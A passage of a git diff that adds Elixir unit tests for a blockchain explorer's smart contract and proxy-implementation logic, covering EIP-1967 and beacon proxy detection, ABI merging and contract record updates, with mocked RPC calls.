Application.put_env(:explorer, :proxy, proxy) + + implementation_address_hash = implementation_smart_contract.address_hash + + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests(eip1967: implementation_address_hash) + + assert %Implementation{ + address_hashes: [^implementation_address_hash], + names: ["implementation"], + proxy_type: :eip1967 + } = + Implementation.get_implementation(bytecode_twin) + + verify!(EthereumJSONRPC.Mox) + + proxy = + :explorer + |> Application.get_env(:proxy) + |> Keyword.replace(:fallback_cached_implementation_data_ttl, :timer.seconds(20)) + |> Keyword.replace(:implementation_data_fetching_timeout, :timer.seconds(20)) + + Application.put_env(:explorer, :proxy, proxy) + + refute_implementations(smart_contract.address_hash) + + assert %Implementation{ + address_hashes: [^implementation_address_hash], + names: ["implementation"], + proxy_type: :eip1967 + } = + Implementation.get_implementation(bytecode_twin) + + verify!(EthereumJSONRPC.Mox) + + refute_implementations(smart_contract.address_hash) + + {:ok, addr} = Chain.hash_to_address(twin_address.hash) + bytecode_twin = addr.smart_contract + + _implementation_smart_contract = insert(:smart_contract, name: "implementation") + + # fetch nil implementation + assert is_nil(Implementation.get_implementation(bytecode_twin)) + verify!(EthereumJSONRPC.Mox) + refute_implementations(smart_contract.address_hash) + + assert is_nil(Implementation.get_implementation(bytecode_twin)) + verify!(EthereumJSONRPC.Mox) + refute_implementations(smart_contract.address_hash) + + # todo: return this part of test + # proxy = + # :explorer + # |> Application.get_env(:proxy) + # |> Keyword.replace(:fallback_cached_implementation_data_ttl, 0) + # |> Keyword.replace(:implementation_data_fetching_timeout, :timer.seconds(20)) + + # Application.put_env(:explorer, :proxy, proxy) + + # string_implementation_address_hash = to_string(implementation_smart_contract.address_hash) + + # expect_address_in_oz_slot_response(string_implementation_address_hash) + + # assert {^string_implementation_address_hash, "implementation", :eip1967} = Implementation.get_implementation(bytecode_twin) + + # verify!(EthereumJSONRPC.Mox) + + # refute_implementations(smart_contract.address_hash) + + # TestHelper.get_eip1967_implementation_error_response() + + # assert {^string_implementation_address_hash, "implementation", :eip1967} = Implementation.get_implementation(bytecode_twin) + + # verify!(EthereumJSONRPC.Mox) + + # refute_implementations(smart_contract.address_hash) + + # EthereumJSONRPC.Mox + # |> TestHelper.mock_generic_proxy_requests() + + # {:ok, addr} = + # Chain.find_contract_address( + # twin_address.hash, + # [ + # necessity_by_association: %{ + # :smart_contract => :optional + # } + # ] + # ) + + # bytecode_twin = addr.smart_contract + + # implementation_smart_contract = insert(:smart_contract, name: "implementation") + + # proxy = + # :explorer + # |> Application.get_env(:proxy) + # |> Keyword.replace(:fallback_cached_implementation_data_ttl, 0) + # |> Keyword.replace(:implementation_data_fetching_timeout, :timer.seconds(20)) + + # Application.put_env(:explorer, :proxy, proxy) + + # # fetch nil implementation + # EthereumJSONRPC.Mox + # |> TestHelper.mock_generic_proxy_requests() + # assert {[], [], nil} = Implementation.get_implementation(bytecode_twin) + # verify!(EthereumJSONRPC.Mox) + # refute_implementations(smart_contract.address_hash) + + # EthereumJSONRPC.Mox + # |> TestHelper.mock_generic_proxy_requests() + # assert {[], [], nil} = Implementation.get_implementation(bytecode_twin) + # verify!(EthereumJSONRPC.Mox) + # refute_implementations(smart_contract.address_hash) + + # string_implementation_address_hash = to_string(implementation_smart_contract.address_hash) + + # expect_address_in_oz_slot_response(string_implementation_address_hash) + + # assert {^string_implementation_address_hash, "implementation", :eip1967} = Implementation.get_implementation(bytecode_twin) + + # verify!(EthereumJSONRPC.Mox) + + # refute_implementations(smart_contract.address_hash) + + # EthereumJSONRPC.Mox + # |> TestHelper.mock_generic_proxy_requests() + + # assert {[], [], nil} = Implementation.get_implementation(bytecode_twin) + + # verify!(EthereumJSONRPC.Mox) + + # refute_implementations(smart_contract.address_hash) + end + end + + test "get_implementation/1 with conflicting implementations" do + smart_contract = insert(:smart_contract) + implementation_smart_contract1 = insert(:smart_contract, name: "implementation1") + implementation_smart_contract2 = insert(:smart_contract, name: "implementation2") + implementation_smart_contract3 = insert(:smart_contract, name: "implementation3") + + implementation_address_hash1 = implementation_smart_contract1.address_hash + implementation_address_hash2 = implementation_smart_contract2.address_hash + implementation_address_hash3 = implementation_smart_contract3.address_hash + + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests( + eip1967: implementation_address_hash1, + eip1967_oz: implementation_address_hash1, + eip1822: implementation_address_hash1 + ) + + assert %Implementation{ + address_hashes: [^implementation_address_hash1], + names: ["implementation1"], + proxy_type: :eip1967, + conflicting_proxy_types: nil, + conflicting_address_hashes: nil + } = Implementation.get_implementation(smart_contract) + + verify!(EthereumJSONRPC.Mox) + + assert_exact_name_and_address( + smart_contract.address_hash, + implementation_address_hash1, + implementation_smart_contract1.name + ) + + assert %Implementation{ + conflicting_proxy_types: nil, + conflicting_address_hashes: nil + } = Implementation.get_proxy_implementations(smart_contract.address_hash) + + proxy = + :explorer + |> Application.get_env(:proxy) + |> Keyword.replace(:fallback_cached_implementation_data_ttl, :timer.seconds(0)) + |> Keyword.replace(:implementation_data_fetching_timeout, :timer.seconds(20)) + + Application.put_env(:explorer, :proxy, proxy) + + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests( + eip1967: implementation_address_hash1, + eip1967_oz: implementation_address_hash2, + eip1822: implementation_address_hash3 + ) + + assert %Implementation{ + address_hashes: [^implementation_address_hash1], + names: ["implementation1"], + proxy_type: :eip1967, + conflicting_proxy_types: [:eip1822, :eip1967_oz], + conflicting_address_hashes: [[^implementation_address_hash3], [^implementation_address_hash2]] + } = Implementation.get_implementation(smart_contract) + + verify!(EthereumJSONRPC.Mox) + + proxy = + :explorer + |> Application.get_env(:proxy) + |> Keyword.replace(:fallback_cached_implementation_data_ttl, :timer.seconds(20)) + |> Keyword.replace(:implementation_data_fetching_timeout, :timer.seconds(20)) + + Application.put_env(:explorer, :proxy, proxy) + + assert_exact_name_and_address( + smart_contract.address_hash, + implementation_address_hash1, + implementation_smart_contract1.name + ) + + assert %Implementation{ + conflicting_proxy_types: [:eip1822, :eip1967_oz], + conflicting_address_hashes: [[^implementation_address_hash3], [^implementation_address_hash2]] + } = Implementation.get_proxy_implementations(smart_contract.address_hash) + end + + def assert_exact_name_and_address(address_hash, implementation_address_hash, implementation_name) do + implementation = Implementation.get_proxy_implementations(address_hash) + assert implementation.proxy_type + assert implementation.updated_at + assert implementation.names == [implementation_name] + + assert to_string(implementation.address_hashes |> Enum.at(0)) == + to_string(implementation_address_hash) + end + + def assert_implementation_name(address_hash) do + implementation = Implementation.get_proxy_implementations(address_hash) + assert implementation.proxy_type + assert implementation.updated_at + assert implementation.names + end + + def refute_implementations(address_hash) do + implementations = Implementation.get_proxy_implementations(address_hash) + refute implementations + end + + def assert_empty_implementation(address_hash) do + implementation = Implementation.get_proxy_implementations(address_hash) + assert is_nil(implementation.proxy_type) + assert implementation.updated_at + assert implementation.names == [] + assert implementation.address_hashes == [] + assert is_nil(implementation.conflicting_proxy_types) + assert is_nil(implementation.conflicting_address_hashes) + end +end diff --git a/apps/explorer/test/explorer/chain/smart_contract/proxy_test.exs b/apps/explorer/test/explorer/chain/smart_contract/proxy_test.exs new file mode 100644 index 000000000000..faa57ae70c04 --- /dev/null +++ b/apps/explorer/test/explorer/chain/smart_contract/proxy_test.exs @@ -0,0 +1,447 @@ +defmodule Explorer.Chain.SmartContract.ProxyTest do + use Explorer.DataCase, async: false + import Mox + alias Explorer.Chain.Hash + alias Explorer.Chain.SmartContract + alias Explorer.Chain.SmartContract.Proxy + alias Explorer.Chain.SmartContract.Proxy.Models.Implementation + alias Explorer.TestHelper + + setup :verify_on_exit! + setup :set_mox_global + + describe "proxy contracts features" do + @proxy_abi [ + %{ + "type" => "function", + "stateMutability" => "nonpayable", + "payable" => false, + "outputs" => [%{"type" => "bool", "name" => ""}], + "name" => "upgradeTo", + "inputs" => [%{"type" => "address", "name" => "newImplementation"}], + "constant" => false + }, + %{ + "type" => "function", + "stateMutability" => "view", + "payable" => false, + "outputs" => [%{"type" => "uint256", "name" => ""}], + "name" => "version", + "inputs" => [], + "constant" => true + }, + %{ + "type" => "function", + "stateMutability" => "view", + "payable" => false, + "outputs" => [%{"type" => "address", "name" => ""}], + "name" => "implementation", + "inputs" => [], + "constant" => true + }, + %{ + "type" => "function", + "stateMutability" => "nonpayable", + "payable" => false, + "outputs" => [], + "name" => "renounceOwnership", + "inputs" => [], + "constant" => false + }, + %{ + "type" => "function", + "stateMutability" => "view", + "payable" => false, + "outputs" => [%{"type" => "address", "name" => ""}], + "name" => "getOwner", + "inputs" => [], + "constant" => true + }, + %{ + "type" => "function", + "stateMutability" => "view", + "payable" => false, + "outputs" => [%{"type" => "address", "name" => ""}], + "name" => "getProxyStorage", + "inputs" => [], + "constant" => true + }, + %{ + "type" => "function", + "stateMutability" => "nonpayable", + "payable" => false, + "outputs" => [], + "name" => "transferOwnership", + "inputs" => [%{"type" => "address", "name" => "_newOwner"}], + "constant" => false + }, + %{ + "type" => "constructor", + "stateMutability" => "nonpayable", + "payable" => false, + "inputs" => [ + %{"type" => "address", "name" => "_proxyStorage"}, + %{"type" => "address", "name" => "_implementationAddress"} + ] + }, + %{"type" => "fallback", "stateMutability" => "nonpayable", "payable" => false}, + %{ + "type" => "event", + "name" => "Upgraded", + "inputs" => [ + %{"type" => "uint256", "name" => "version", "indexed" => false}, + %{"type" => "address", "name" => "implementation", "indexed" => true} + ], + "anonymous" => false + }, + %{ + "type" => "event", + "name" => "OwnershipRenounced", + "inputs" => [%{"type" => "address", "name" => "previousOwner", "indexed" => true}], + "anonymous" => false + }, + %{ + "type" => "event", + "name" => "OwnershipTransferred", + "inputs" => [ + %{"type" => "address", "name" => "previousOwner", "indexed" => true}, + %{"type" => "address", "name" => "newOwner", "indexed" => true} + ], + "anonymous" => false + } + ] + + @implementation_abi [ + %{ + "constant" => false, + "inputs" => [%{"name" => "x", "type" => "uint256"}], + "name" => "set", + "outputs" => [], + "payable" => false, + "stateMutability" => "nonpayable", + "type" => "function" + }, + %{ + "constant" => true, + "inputs" => [], + "name" => "get", + "outputs" => [%{"name" => "", "type" => "uint256"}], + "payable" => false, + "stateMutability" => "view", + "type" => "function" + } + ] + + test "combine_proxy_implementation_abi/2 returns empty [] abi if proxy abi is null" do + proxy_contract_address = insert(:contract_address) + + assert Proxy.combine_proxy_implementation_abi(%SmartContract{address_hash: proxy_contract_address.hash, abi: nil}) == + [] + end + + test "combine_proxy_implementation_abi/2 returns [] abi for unverified proxy" do + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests() + + proxy_contract_address = insert(:contract_address) + + smart_contract = + insert(:smart_contract, address_hash: proxy_contract_address.hash, abi: [], contract_code_md5: "123") + + assert Proxy.combine_proxy_implementation_abi(smart_contract) == [] + end + + test "combine_proxy_implementation_abi/2 returns proxy abi if implementation is not verified" do + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests() + + proxy_contract_address = insert(:contract_address) + + smart_contract = + insert(:smart_contract, address_hash: proxy_contract_address.hash, abi: @proxy_abi, contract_code_md5: "123") + + assert Proxy.combine_proxy_implementation_abi(smart_contract) == @proxy_abi + end + + test "combine_proxy_implementation_abi/2 returns proxy + implementation abi if implementation is verified" do + proxy_contract_address = insert(:contract_address) + + proxy_smart_contract = + insert(:smart_contract, address_hash: proxy_contract_address.hash, abi: @proxy_abi, contract_code_md5: "123") + + implementation_contract_address = insert(:contract_address) + + implementation_smart_contract = + insert(:smart_contract, + address_hash: implementation_contract_address.hash, + abi: @implementation_abi, + contract_code_md5: "123", + name: "impl" + ) + + insert(:proxy_implementation, + proxy_address_hash: proxy_contract_address.hash, + proxy_type: "eip1167", + address_hashes: [implementation_contract_address.hash], + names: [implementation_smart_contract.name] + ) + + combined_abi = Proxy.combine_proxy_implementation_abi(proxy_smart_contract) + + assert Enum.any?(@proxy_abi, fn el -> el == Enum.at(@implementation_abi, 0) end) == false + assert Enum.any?(@proxy_abi, fn el -> el == Enum.at(@implementation_abi, 1) end) == false + assert Enum.any?(combined_abi, fn el -> el == Enum.at(@implementation_abi, 0) end) == true + assert Enum.any?(combined_abi, fn el -> el == Enum.at(@implementation_abi, 1) end) == true + end + + test "get_implementation_abi_from_proxy/2 returns empty [] abi if proxy abi is null" do + proxy_contract_address = insert(:contract_address) + + assert Proxy.get_implementation_abi_from_proxy( + %SmartContract{address_hash: proxy_contract_address.hash, abi: nil}, + [] + ) == + [] + end + + test "get_implementation_abi_from_proxy/2 returns [] if implementation is not verified" do + proxy_contract_address = insert(:contract_address) + + smart_contract = + insert(:smart_contract, address_hash: proxy_contract_address.hash, abi: @proxy_abi, contract_code_md5: "123") + + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests() + + assert Proxy.get_implementation_abi_from_proxy(smart_contract, []) == [] + end + + test "get_implementation_abi_from_proxy/2 returns implementation abi if implementation is verified (basic_implementation proxy)" do + proxy_contract_address = insert(:contract_address, contract_code: "0xDEADBEEF5c60da1bDEADBEEF") + + smart_contract = + insert(:smart_contract, address_hash: proxy_contract_address.hash, abi: @proxy_abi, contract_code_md5: "123") + + implementation_contract_address = insert(:contract_address) + + insert(:smart_contract, + address_hash: implementation_contract_address.hash, + abi: @implementation_abi, + contract_code_md5: "123" + ) + + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests(basic_implementation: implementation_contract_address.hash) + + implementation_abi = Proxy.get_implementation_abi_from_proxy(smart_contract, []) + + assert implementation_abi == @implementation_abi + end + + test "get_implementation_abi_from_proxy/2 returns implementation abi in case of EIP-1967 proxy pattern (logic contract)" do + proxy_contract_address = insert(:contract_address) + + smart_contract = + insert(:smart_contract, address_hash: proxy_contract_address.hash, abi: [], contract_code_md5: "123") + + implementation_contract_address = insert(:contract_address) + + insert(:smart_contract, + address_hash: implementation_contract_address.hash, + abi: @implementation_abi, + contract_code_md5: "123" + ) + + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests(eip1967: implementation_contract_address.hash) + + implementation_abi = Proxy.get_implementation_abi_from_proxy(smart_contract, []) + + assert implementation_abi == @implementation_abi + end + end + + @beacon_abi [ + %{ + "type" => "function", + "stateMutability" => "view", + "outputs" => [%{"type" => "address", "name" => "", "internalType" => "address"}], + "name" => "implementation", + "inputs" => [] + } + ] + test "get_implementation_abi_from_proxy/2 returns implementation abi in case of EIP-1967 proxy pattern (beacon contract)" do + proxy_contract_address = insert(:contract_address) + + smart_contract = + insert(:smart_contract, address_hash: proxy_contract_address.hash, abi: [], contract_code_md5: "123") + + beacon_contract_address = insert(:contract_address) + + insert(:smart_contract, + address_hash: beacon_contract_address.hash, + abi: @beacon_abi, + contract_code_md5: "123" + ) + + implementation_contract_address = insert(:contract_address) + + insert(:smart_contract, + address_hash: implementation_contract_address.hash, + abi: @implementation_abi, + contract_code_md5: "123" + ) + + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests( + eip1967_beacon: beacon_contract_address.hash, + eip1967_beacon_implementation: implementation_contract_address.hash + ) + + implementation_abi = Proxy.get_implementation_abi_from_proxy(smart_contract, []) + verify!(EthereumJSONRPC.Mox) + + assert implementation_abi == @implementation_abi + end + + test "extract_address_hash/1" do + assert Proxy.extract_address_hash(nil) == nil + assert Proxy.extract_address_hash("0x") == nil + assert Proxy.extract_address_hash("0x0") == nil + assert Proxy.extract_address_hash("0x0000000000000000000000000000000000000000") == nil + assert Proxy.extract_address_hash("0x0000000000000000000000000000000000000000000000000000000000000000") == nil + assert Proxy.extract_address_hash("INVALID") == :error + + # 20-bytes value + assert Proxy.extract_address_hash("0x1111111111111111111111111111111111111111") == + {:ok, + %Hash{ + byte_count: 20, + bytes: <<0x1111111111111111111111111111111111111111::160>> + }} + + # 19-bytes value + assert Proxy.extract_address_hash("0x11111111111111111111111111111111111111") == + {:ok, + %Hash{ + byte_count: 20, + bytes: <<0x0011111111111111111111111111111111111111::160>> + }} + + # 21-bytes value + assert Proxy.extract_address_hash("0x001111111111111111111111111111111111111111") == + {:ok, + %Hash{ + byte_count: 20, + bytes: <<0x1111111111111111111111111111111111111111::160>> + }} + + # canonical 32-bytes value + assert Proxy.extract_address_hash("0x0000000000000000000000001111111111111111111111111111111111111111") == + {:ok, + %Hash{ + byte_count: 20, + bytes: <<0x1111111111111111111111111111111111111111::160>> + }} + + # 33-bytes value + assert Proxy.extract_address_hash("0x000000000000000000000000001111111111111111111111111111111111111111") == nil + end + + test "check proxy_contract?/1 function" do + smart_contract = insert(:smart_contract) + + proxy = + :explorer + |> Application.get_env(:proxy) + |> Keyword.replace(:fallback_cached_implementation_data_ttl, :timer.seconds(20)) + |> Keyword.replace(:implementation_data_fetching_timeout, :timer.seconds(20)) + + Application.put_env(:explorer, :proxy, proxy) + + refute_implementations(smart_contract.address_hash) + + # fetch nil implementation and don't save it to db + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests() + + refute Proxy.proxy_contract?(smart_contract) + verify!(EthereumJSONRPC.Mox) + assert_empty_implementation(smart_contract.address_hash) + + proxy = + :explorer + |> Application.get_env(:proxy) + |> Keyword.replace(:fallback_cached_implementation_data_ttl, 0) + + Application.put_env(:explorer, :proxy, proxy) + + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests(eip1967: :error) + + refute Proxy.proxy_contract?(smart_contract) + verify!(EthereumJSONRPC.Mox) + + implementation_address = insert(:address) + + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests(eip1967: implementation_address.hash) + + assert Proxy.proxy_contract?(smart_contract) + verify!(EthereumJSONRPC.Mox) + assert_implementation_address(smart_contract.address_hash) + + assert Proxy.proxy_contract?(smart_contract) + verify!(EthereumJSONRPC.Mox) + assert_implementation_address(smart_contract.address_hash) + + proxy = + :explorer + |> Application.get_env(:proxy) + |> Keyword.replace(:fallback_cached_implementation_data_ttl, :timer.seconds(20)) + + Application.put_env(:explorer, :proxy, proxy) + + assert Proxy.proxy_contract?(smart_contract) + + proxy = + :explorer + |> Application.get_env(:proxy) + |> Keyword.replace(:fallback_cached_implementation_data_ttl, 0) + + Application.put_env(:explorer, :proxy, proxy) + + assert Proxy.proxy_contract?(smart_contract) + verify!(EthereumJSONRPC.Mox) + + assert Proxy.proxy_contract?(smart_contract) + verify!(EthereumJSONRPC.Mox) + + proxy = + :explorer + |> Application.get_env(:proxy) + |> Keyword.replace(:fallback_cached_implementation_data_ttl, :timer.seconds(20)) + + Application.put_env(:explorer, :proxy, proxy) + end + + def assert_implementation_address(address_hash) do + implementation = Implementation.get_proxy_implementations(address_hash) + assert implementation.proxy_type + assert implementation.updated_at + assert implementation.address_hashes + end + + def refute_implementations(address_hash) do + implementations = Implementation.get_proxy_implementations(address_hash) + refute implementations + end + + def assert_empty_implementation(address_hash) do + implementation = Implementation.get_proxy_implementations(address_hash) + assert is_nil(implementation.proxy_type) + assert implementation.updated_at + assert implementation.names == [] + assert implementation.address_hashes == [] + end +end diff --git a/apps/explorer/test/explorer/chain/smart_contract_test.exs b/apps/explorer/test/explorer/chain/smart_contract_test.exs new file mode 100644 index 000000000000..a774c5354a9b --- /dev/null +++ b/apps/explorer/test/explorer/chain/smart_contract_test.exs @@ -0,0 +1,434 @@ +defmodule Explorer.Chain.SmartContractTest do + use Explorer.DataCase, async: false + + import Mox + alias Explorer.Chain.{Address, SmartContract} + + doctest Explorer.Chain.SmartContract + + setup :verify_on_exit! + setup :set_mox_global + + describe "create_smart_contract/1" do + setup do + smart_contract_bytecode = + "0x608060405234801561001057600080fd5b5060df8061001f6000396000f3006080604052600436106049576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806360fe47b114604e5780636d4ce63c146078575b600080fd5b348015605957600080fd5b5060766004803603810190808035906020019092919050505060a0565b005b348015608357600080fd5b50608a60aa565b6040518082815260200191505060405180910390f35b8060008190555050565b600080549050905600a165627a7a7230582040d82a7379b1ee1632ad4d8a239954fd940277b25628ead95259a85c5eddb2120029" + + created_contract_address = + insert( + :address, + hash: "0x0f95fa9bc0383e699325f2658d04e8d96d87b90c", + contract_code: smart_contract_bytecode + ) + + transaction = + :transaction + |> insert() + |> with_block() + + insert( + :internal_transaction_create, + transaction: transaction, + index: 0, + created_contract_address: created_contract_address, + created_contract_code: smart_contract_bytecode, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: 0, + transaction_index: transaction.index + ) + + valid_attrs = %{ + address_hash: "0x0f95fa9bc0383e699325f2658d04e8d96d87b90c", + name: "SimpleStorage", + compiler_version: "0.4.23", + optimization: false, + contract_source_code: + "pragma solidity ^0.4.23; contract SimpleStorage {uint storedData; function set(uint x) public {storedData = x; } function get() public constant returns (uint) {return storedData; } }", + abi: [ + %{ + "constant" => false, + "inputs" => [%{"name" => "x", "type" => "uint256"}], + "name" => "set", + "outputs" => [], + "payable" => false, + "stateMutability" => "nonpayable", + "type" => "function" + }, + %{ + "constant" => true, + "inputs" => [], + "name" => "get", + "outputs" => [%{"name" => "", "type" => "uint256"}], + "payable" => false, + "stateMutability" => "view", + "type" => "function" + } + ] + } + + {:ok, valid_attrs: valid_attrs, address: created_contract_address} + end + + test "with valid data creates a smart contract", %{valid_attrs: valid_attrs} do + assert {:ok, %SmartContract{} = smart_contract} = SmartContract.create_smart_contract(valid_attrs) + assert smart_contract.name == "SimpleStorage" + assert smart_contract.compiler_version == "0.4.23" + assert smart_contract.optimization == false + assert smart_contract.contract_source_code != "" + assert smart_contract.abi != "" + + assert Repo.get_by( + Address.Name, + address_hash: smart_contract.address_hash, + name: smart_contract.name, + primary: true + ) + end + + test "clears an existing primary name and sets the new one", %{valid_attrs: valid_attrs, address: address} do + insert(:address_name, address: address, primary: true) + assert {:ok, %SmartContract{} = smart_contract} = SmartContract.create_smart_contract(valid_attrs) + + assert Repo.get_by( + Address.Name, + address_hash: smart_contract.address_hash, + name: smart_contract.name, + primary: true + ) + end + + test "trims whitespace from address name", %{valid_attrs: valid_attrs} do + attrs = %{valid_attrs | name: " SimpleStorage "} + assert {:ok, _} = SmartContract.create_smart_contract(attrs) + assert Repo.get_by(Address.Name, name: "SimpleStorage") + end + + test "sets the address verified field to true", %{valid_attrs: valid_attrs} do + assert {:ok, %SmartContract{} = smart_contract} = SmartContract.create_smart_contract(valid_attrs) + + assert Repo.get_by(Address, hash: smart_contract.address_hash).verified == true + end + end + + describe "update_smart_contract/1" do + setup do + smart_contract_bytecode = + "0x608060405234801561001057600080fd5b5060df8061001f6000396000f3006080604052600436106049576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806360fe47b114604e5780636d4ce63c146078575b600080fd5b348015605957600080fd5b5060766004803603810190808035906020019092919050505060a0565b005b348015608357600080fd5b50608a60aa565b6040518082815260200191505060405180910390f35b8060008190555050565b600080549050905600a165627a7a7230582040d82a7379b1ee1632ad4d8a239954fd940277b25628ead95259a85c5eddb2120029" + + created_contract_address = + insert( + :address, + hash: "0x0f95fa9bc0383e699325f2658d04e8d96d87b90c", + contract_code: smart_contract_bytecode + ) + + transaction = + :transaction + |> insert() + |> with_block() + + insert( + :internal_transaction_create, + transaction: transaction, + index: 0, + created_contract_address: created_contract_address, + created_contract_code: smart_contract_bytecode, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: 0, + transaction_index: transaction.index + ) + + valid_attrs = %{ + address_hash: "0x0f95fa9bc0383e699325f2658d04e8d96d87b90c", + name: "SimpleStorage", + compiler_version: "0.4.23", + optimization: false, + contract_source_code: + "pragma solidity ^0.4.23; contract SimpleStorage {uint storedData; function set(uint x) public {storedData = x; } function get() public constant returns (uint) {return storedData; } }", + abi: [ + %{ + "constant" => false, + "inputs" => [%{"name" => "x", "type" => "uint256"}], + "name" => "set", + "outputs" => [], + "payable" => false, + "stateMutability" => "nonpayable", + "type" => "function" + }, + %{ + "constant" => true, + "inputs" => [], + "name" => "get", + "outputs" => [%{"name" => "", "type" => "uint256"}], + "payable" => false, + "stateMutability" => "view", + "type" => "function" + } + ], + partially_verified: true + } + + secondary_sources = [ + %{ + file_name: "storage.sol", + contract_source_code: + "pragma solidity >=0.7.0 <0.9.0;contract Storage {uint256 number;function store(uint256 num) public {number = num;}function retrieve_() public view returns (uint256){return number;}}", + address_hash: "0x0f95fa9bc0383e699325f2658d04e8d96d87b90c" + }, + %{ + file_name: "storage_1.sol", + contract_source_code: + "pragma solidity >=0.7.0 <0.9.0;contract Storage_1 {uint256 number;function store(uint256 num) public {number = num;}function retrieve_() public view returns (uint256){return number;}}", + address_hash: "0x0f95fa9bc0383e699325f2658d04e8d96d87b90c" + } + ] + + changed_sources = [ + %{ + file_name: "storage_2.sol", + contract_source_code: + "pragma solidity >=0.7.0 <0.9.0;contract Storage_2 {uint256 number;function store(uint256 num) public {number = num;}function retrieve_() public view returns (uint256){return number;}}", + address_hash: "0x0f95fa9bc0383e699325f2658d04e8d96d87b90c" + }, + %{ + file_name: "storage_3.sol", + contract_source_code: + "pragma solidity >=0.7.0 <0.9.0;contract Storage_3 {uint256 number;function store(uint256 num) public {number = num;}function retrieve_() public view returns (uint256){return number;}}", + address_hash: "0x0f95fa9bc0383e699325f2658d04e8d96d87b90c" + } + ] + + _ = SmartContract.create_smart_contract(valid_attrs, [], secondary_sources) + + {:ok, + valid_attrs: valid_attrs, + address: created_contract_address, + secondary_sources: secondary_sources, + changed_sources: changed_sources} + end + + test "change partially_verified field", %{valid_attrs: valid_attrs, address: address} do + sc_before_call = Repo.get_by(SmartContract, address_hash: address.hash) + assert sc_before_call.name == Map.get(valid_attrs, :name) + assert sc_before_call.partially_verified == Map.get(valid_attrs, :partially_verified) + + assert {:ok, %SmartContract{}} = + SmartContract.update_smart_contract(%{ + address_hash: address.hash, + partially_verified: false, + contract_source_code: "new code" + }) + + sc_after_call = Repo.get_by(SmartContract, address_hash: address.hash) + assert sc_after_call.name == Map.get(valid_attrs, :name) + assert sc_after_call.partially_verified == false + assert sc_after_call.compiler_version == Map.get(valid_attrs, :compiler_version) + assert sc_after_call.optimization == Map.get(valid_attrs, :optimization) + assert sc_after_call.contract_source_code == "new code" + end + + test "check nothing changed", %{valid_attrs: valid_attrs, address: address} do + sc_before_call = Repo.get_by(SmartContract, address_hash: address.hash) + assert sc_before_call.name == Map.get(valid_attrs, :name) + assert sc_before_call.partially_verified == Map.get(valid_attrs, :partially_verified) + + assert {:ok, %SmartContract{}} = SmartContract.update_smart_contract(%{address_hash: address.hash}) + + sc_after_call = Repo.get_by(SmartContract, address_hash: address.hash) + assert sc_after_call.name == Map.get(valid_attrs, :name) + assert sc_after_call.partially_verified == Map.get(valid_attrs, :partially_verified) + assert sc_after_call.compiler_version == Map.get(valid_attrs, :compiler_version) + assert sc_after_call.optimization == Map.get(valid_attrs, :optimization) + assert sc_after_call.contract_source_code == Map.get(valid_attrs, :contract_source_code) + end + + test "check additional sources update", %{ + address: address, + secondary_sources: secondary_sources, + changed_sources: changed_sources + } do + sc_before_call = + Repo.get_by(Address, hash: address.hash) |> Repo.preload(smart_contract: :smart_contract_additional_sources) + + assert sc_before_call.smart_contract.smart_contract_additional_sources + |> Enum.with_index() + |> Enum.all?(fn {el, ind} -> + {:ok, src} = Enum.fetch(secondary_sources, ind) + + el.file_name == Map.get(src, :file_name) and + el.contract_source_code == Map.get(src, :contract_source_code) + end) + + assert {:ok, %SmartContract{}} = + SmartContract.update_smart_contract(%{address_hash: address.hash}, [], changed_sources) + + sc_after_call = + Repo.get_by(Address, hash: address.hash) |> Repo.preload(smart_contract: :smart_contract_additional_sources) + + assert sc_after_call.smart_contract.smart_contract_additional_sources + |> Enum.with_index() + |> Enum.all?(fn {el, ind} -> + {:ok, src} = Enum.fetch(changed_sources, ind) + + el.file_name == Map.get(src, :file_name) and + el.contract_source_code == Map.get(src, :contract_source_code) + end) + end + end + + test "get_abi/1 returns empty [] abi if implementation address is null" do + assert SmartContract.get_abi(nil) == [] + end + + test "get_abi/1 returns [] if implementation is not verified" do + implementation_contract_address = insert(:contract_address) + + implementation_contract_address_hash_string = + Base.encode16(implementation_contract_address.hash.bytes, case: :lower) + + assert SmartContract.get_abi("0x" <> implementation_contract_address_hash_string) == [] + end + + @abi [ + %{ + "constant" => false, + "inputs" => [%{"name" => "x", "type" => "uint256"}], + "name" => "set", + "outputs" => [], + "payable" => false, + "stateMutability" => "nonpayable", + "type" => "function" + }, + %{ + "constant" => true, + "inputs" => [], + "name" => "get", + "outputs" => [%{"name" => "", "type" => "uint256"}], + "payable" => false, + "stateMutability" => "view", + "type" => "function" + } + ] + + @proxy_abi [ + %{ + "type" => "function", + "stateMutability" => "nonpayable", + "payable" => false, + "outputs" => [%{"type" => "bool", "name" => ""}], + "name" => "upgradeTo", + "inputs" => [%{"type" => "address", "name" => "newImplementation"}], + "constant" => false + }, + %{ + "type" => "function", + "stateMutability" => "view", + "payable" => false, + "outputs" => [%{"type" => "uint256", "name" => ""}], + "name" => "version", + "inputs" => [], + "constant" => true + }, + %{ + "type" => "function", + "stateMutability" => "view", + "payable" => false, + "outputs" => [%{"type" => "address", "name" => ""}], + "name" => "implementation", + "inputs" => [], + "constant" => true + }, + %{ + "type" => "function", + "stateMutability" => "nonpayable", + "payable" => false, + "outputs" => [], + "name" => "renounceOwnership", + "inputs" => [], + "constant" => false + }, + %{ + "type" => "function", + "stateMutability" => "view", + "payable" => false, + "outputs" => [%{"type" => "address", "name" => ""}], + "name" => "getOwner", + "inputs" => [], + "constant" => true + }, + %{ + "type" => "function", + "stateMutability" => "view", + "payable" => false, + "outputs" => [%{"type" => "address", "name" => ""}], + "name" => "getProxyStorage", + "inputs" => [], + "constant" => true + }, + %{ + "type" => "function", + "stateMutability" => "nonpayable", + "payable" => false, + "outputs" => [], + "name" => "transferOwnership", + "inputs" => [%{"type" => "address", "name" => 